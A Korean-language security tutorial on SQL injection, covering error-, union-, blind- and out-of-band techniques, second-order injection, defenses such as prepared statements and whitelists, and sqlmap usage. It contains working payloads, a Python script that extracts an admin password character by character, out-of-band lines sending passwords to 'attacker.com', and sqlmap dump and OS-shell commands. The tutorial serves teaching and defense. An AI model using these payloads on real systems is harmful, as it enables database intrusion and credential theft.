/보안 기법/SQL Injection 완전 정복
웹 취약점2024-12-01

SQL Injection 완전 정복

가장 오래됐지만 여전히 가장 많이 발생하는 웹 취약점. In-band, Blind, Out-of-band SQL Injection의 원리와 탐지, 방어 방법을 코드 예시와 함께 정리.

#SQLi#Web#OWASP#Database

기본 원리: SQL Injection이 왜 발생하는가

SQL Injection을 이해하려면 먼저 웹 애플리케이션이 어떻게 SQL 쿼리를 만드는지 알아야 한다.

문자열 연결이 문제다

대부분의 초기 웹 애플리케이션은 사용자 입력을 문자열로 직접 이어붙여 SQL 쿼리를 만든다.

# 개발자의 의도
username = request.get("username")
query = "SELECT * FROM users WHERE username = '" + username + "'"

개발자는 사용자가 alice를 입력한다고 가정한다:

SELECT * FROM users WHERE username = 'alice'
-- 이건 정상 동작

하지만 공격자가 alice' OR '1'='1를 입력하면:

SELECT * FROM users WHERE username = 'alice' OR '1'='1'
-- 항상 참 → 모든 레코드 반환

핵심 문제: 애플리케이션은 사용자 입력이 데이터인지 SQL 명령인지 구분하지 못한다. 작은따옴표(') 하나로 데이터 영역을 탈출해 SQL 명령을 삽입할 수 있다.

SQL 파서가 입력을 처리하는 방식

사용자 입력: alice' OR '1'='1

SQL 파서가 보는 것:
┌────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = '    │  ← 쿼리 시작
│ alice                                      │  ← 데이터 (의도한 부분)
│ '                                          │  ← 문자열 종료 (!)
│ OR '1'='1                                  │  ← SQL 명령으로 해석 (!)
└────────────────────────────────────────────┘

파서는 두 번째 '를 만나는 순간 문자열이 끝났다고 인식하고, 이후 내용을 SQL 명령으로 처리한다.


1. In-band SQL Injection

공격 결과가 동일한 HTTP 응답으로 반환되는 가장 직접적인 방식.

Error-based SQLi — 에러 메시지로 정보 추출

DB는 잘못된 쿼리에 에러 메시지를 반환한다. 이 메시지 안에 데이터를 담아 추출할 수 있다.

-- 취약한 쿼리
SELECT * FROM users WHERE id = '$input'

-- MySQL: EXTRACTVALUE로 에러 안에 데이터 포함
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --

-- 실행되는 쿼리
SELECT * FROM users WHERE id = '' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --'

-- 서버 응답 (에러 메시지)
XPATH syntax error: '~8.0.32'
-- version() 결과가 에러 메시지에 그대로 노출됨!

왜 이게 되는가? EXTRACTVALUE(xml, xpath) 함수는 XPath 문법 오류가 나면 오류 메시지에 두 번째 인자를 포함해서 출력한다. 0x7e는 ~ 기호로, XPath에서 무효한 문자라 에러가 발생한다.

-- 더 유용한 데이터 추출
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
-- 현재 DB 이름

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --
-- 첫 번째 테이블 이름

Union-based SQLi — UNION으로 다른 테이블 조회

UNION은 두 SELECT의 결과를 합치는 SQL 명령이다. 원래 쿼리 결과에 공격자가 원하는 쿼리 결과를 덧붙일 수 있다.

전제 조건: UNION을 쓰려면 두 SELECT의 컬럼 수와 타입이 같아야 한다.

-- 1단계: 컬럼 수 파악
-- ORDER BY를 이용해 에러가 나는 지점 찾기
' ORDER BY 1 --   ← 정상
' ORDER BY 2 --   ← 정상
' ORDER BY 3 --   ← 에러! → 컬럼 수 = 2

-- 2단계: 출력되는 컬럼 위치 파악
' UNION SELECT NULL, NULL --         ← NULL로 먼저 테스트 (타입 오류 방지)
' UNION SELECT 'a', 'b' --          ← 문자열 위치 확인

-- 3단계: 원하는 데이터 추출
' UNION SELECT username, password FROM admin --

-- DB 정보 수집 (information_schema 활용)
' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema = database() --

' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'users' --

information_schema는 MySQL의 메타데이터 저장소다. 모든 DB, 테이블, 컬럼 정보가 담겨 있어 SQLi의 핵심 타겟이 된다.


2. Blind SQL Injection

쿼리 결과가 HTTP 응답에 직접 표시되지 않을 때 사용. 응답의 미묘한 차이나 시간 지연으로 참/거짓을 판단하며 데이터를 한 글자씩 추출한다.

Boolean-based Blind — 응답 차이로 비트 추출

-- 원리: 조건이 참이면 "Welcome"이 있고, 거짓이면 없는 페이지
' AND 1=1 --   ← 참 → "Welcome admin" 출력
' AND 1=2 --   ← 거짓 → 아무것도 없음

-- 비밀번호 첫 글자가 'a'인가?
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a' --

-- 비밀번호 길이 파악
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') > 10 --
' AND (SELECT LENGTH(password) FROM users WHERE username='admin') = 16 --

이 방법으로 비밀번호를 추출하려면 글자당 수십 번의 요청이 필요하다. 자동화가 필수다:

import requests

TARGET = "http://target.com/user?id="
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$"

def is_true(payload: str) -> bool:
    """쿼리가 참이면 True를 반환 (응답에 'Welcome' 포함 여부로 판단)"""
    r = requests.get(TARGET + payload, timeout=5)
    return "Welcome" in r.text

def extract_password(username: str) -> str:
    # 1단계: 비밀번호 길이 파악
    length = 0
    for i in range(1, 64):
        payload = f"1' AND (SELECT LENGTH(password) FROM users WHERE username='{username}')={i} -- "
        if is_true(payload):
            length = i
            print(f"[+] Password length: {length}")
            break

    # 2단계: 글자 하나씩 추출
    password = ""
    for pos in range(1, length + 1):
        for char in CHARSET:
            payload = f"1' AND (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='{username}')='{char}' -- "
            if is_true(payload):
                password += char
                print(f"[+] Position {pos}: {char} → {password}")
                break
    return password

result = extract_password("admin")
print(f"\n[✓] Password: {result}")

Time-based Blind — 응답 시간으로 판단

응답 내용이 동일해서 Boolean이 통하지 않을 때, 지연 시간으로 참/거짓을 구별한다.

-- MySQL: 조건이 참이면 5초 딜레이
' AND IF(
    (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a',
    SLEEP(5),
    0
) --

-- PostgreSQL
'; SELECT CASE
    WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'
    THEN pg_sleep(5)
    ELSE pg_sleep(0)
END --

-- MSSQL
'; IF (SELECT TOP 1 SUBSTRING(password,1,1) FROM users WHERE username='admin') = 'a'
    WAITFOR DELAY '0:0:5' --
import requests
import time

def is_true_time(payload: str, threshold: float = 4.0) -> bool:
    """응답 시간이 threshold 초 이상이면 True"""
    start = time.time()
    try:
        requests.get(TARGET + payload, timeout=10)
    except requests.Timeout:
        return True  # 타임아웃도 지연으로 처리
    return (time.time() - start) >= threshold

Time-based는 네트워크 지연에 영향받아 느리고 불안정하다. Boolean이 가능하면 Boolean을 우선 사용한다.


3. Out-of-band SQLi

방화벽이나 WAF로 응답 채널이 막혔을 때, DNS나 HTTP 요청으로 외부 서버에 데이터를 전송한다.

-- MySQL: LOAD_FILE로 UNC 경로 접근 (Windows + 설정 필요)
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a')) --
-- DNS 쿼리: 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
-- attacker.com 네임서버 로그에서 쿼리 데이터 확인

-- Microsoft SQL Server: xp_dirtree로 UNC 경로 요청
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT password FROM users WHERE id=1) + '\share' --

-- Oracle: UTL_HTTP로 외부 요청
' UNION SELECT UTL_HTTP.request('http://attacker.com/?d='||(SELECT password FROM users WHERE rownum=1)) FROM dual --

4. 2차 SQL Injection

데이터가 DB에 저장될 때는 안전하게 처리됐지만, 나중에 조회해서 쓸 때 인젝션이 발생한다.

# 1단계: 악성 데이터를 DB에 저장 (이스케이프 적용됨)
username = "admin'--"
query = f"INSERT INTO users (username) VALUES ('{escape(username)}')"
# DB에 저장: admin'--  (이스케이프된 상태로 안전하게 저장)

# 2단계: 나중에 이 데이터를 꺼내 쿼리에 사용
# DB에서 가져오면 이스케이프가 제거됨 → 원본 admin'--
stored_username = db.get_username(user_id)  # 반환값: admin'--

# 이 값을 그대로 쿼리에 넣으면 인젝션!
query = f"SELECT * FROM users WHERE username = '{stored_username}'"
# 실제: SELECT * FROM users WHERE username = 'admin'--'

개발자가 "DB에서 온 데이터는 믿을 수 있다"고 착각할 때 발생한다.


5. 방어 방법

✅ Prepared Statements (핵심 방어)

Prepared Statement는 SQL 구조와 데이터를 완전히 분리해서 전송한다. 데이터가 아무리 이상한 문자를 포함해도 SQL 명령으로 해석되지 않는다.

# Python + MySQL (안전)
import mysql.connector

conn = mysql.connector.connect(host="...", user="...", password="...", database="...")
cursor = conn.cursor()

# ❌ 취약
query = f"SELECT * FROM users WHERE username = '{username}'"

# ✅ 안전: ?는 플레이스홀더, 데이터와 쿼리가 별도 전송
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
# 내부적으로:
# - 쿼리 구조를 먼저 DB에 컴파일
# - 데이터를 별도 패킷으로 전송
# - DB가 데이터를 절대 SQL로 해석하지 않음
// Java JDBC (안전)
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setInt(1, userId);  // 정수로 바인딩 → 문자열 이스케이프 불필요
ResultSet rs = pstmt.executeQuery();
// Node.js mysql2 (안전)
const [rows] = await pool.execute(
    "SELECT * FROM users WHERE username = ? AND email = ?",
    [username, email]
);

✅ ORM 사용

ORM(Object-Relational Mapping)은 내부적으로 Prepared Statement를 사용한다.

# Django ORM (안전 — 내부적으로 파라미터 바인딩)
User.objects.filter(username=username, active=True)

# SQLAlchemy (안전)
session.query(User).filter(User.username == username).first()

# ❌ ORM도 raw query는 위험
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")  # 취약!
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])  # 안전

✅ 화이트리스트 검증 (동적 컬럼/테이블명)

컬럼명이나 테이블명은 파라미터 바인딩이 불가하다. 이 경우 화이트리스트로 검증한다.

ALLOWED_SORT_COLUMNS = {"username", "created_at", "email", "score"}
ALLOWED_SORT_ORDERS = {"ASC", "DESC"}

def build_order_clause(column: str, order: str) -> str:
    if column not in ALLOWED_SORT_COLUMNS:
        raise ValueError(f"Invalid column: {column}")
    if order not in ALLOWED_SORT_ORDERS:
        raise ValueError(f"Invalid order: {order}")
    return f"ORDER BY {column} {order}"  # 화이트리스트 통과 후 안전

❌ 블랙리스트 필터링 (하지 말 것)

# 위험: 우회 가능
def bad_filter(s):
    for bad in ["'", "--", "OR", "UNION", "SELECT"]:
        s = s.replace(bad, "")
    return s

# 우회 예시:
# "OR" → "OoOrR" → 필터 후 "OR" (대소문자 중첩)
# "1 UNION SELECT" → "1 UNselectION SEselectLECT" → 필터 후 "1 UNION SELECT"
# 인코딩, 주석, 공백 변형 등 수백 가지 우회 방법 존재

6. 자동화 도구 — sqlmap

# 기본 사용
sqlmap -u "http://target.com/user?id=1"

# DB 목록 확인
sqlmap -u "http://target.com/user?id=1" --dbs

# 특정 DB의 테이블 목록
sqlmap -u "http://target.com/user?id=1" -D target_db --tables

# 테이블 데이터 덤프
sqlmap -u "http://target.com/user?id=1" -D target_db -T users --dump

# POST 요청
sqlmap -u "http://target.com/login" \
    --data="username=admin&password=test" \
    -p username

# 쿠키 파라미터
sqlmap -u "http://target.com/profile" \
    --cookie="session=abc123; user_id=1" \
    -p user_id

# WAF 우회 (tamper 스크립트)
sqlmap -u "http://target.com/user?id=1" \
    --tamper=space2comment,between,randomcase

# 시간 기반 (--level 높이면 더 많은 페이로드)
sqlmap -u "http://target.com/user?id=1" --level=5 --risk=3

# OS 쉘 획득 (권한 있을 때)
sqlmap -u "http://target.com/user?id=1" --os-shell

핵심 정리

종류 작동 방식 속도 조건
Error-based 에러 메시지에 데이터 포함 빠름 에러 메시지 노출
Union-based UNION으로 원하는 테이블 조회 빠름 컬럼 수 파악 필요
Boolean Blind 응답 내용 차이로 비트 추출 중간 참/거짓 판단 가능
Time Blind 응답 지연으로 비트 추출 느림 항상 사용 가능
Out-of-band DNS/HTTP로 외부 전송 빠름 아웃바운드 허용 필요

방어의 핵심: 사용자 입력을 SQL 구조에 직접 연결하지 말 것. Prepared Statement 또는 ORM 사용이 유일한 근본 해결책이다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.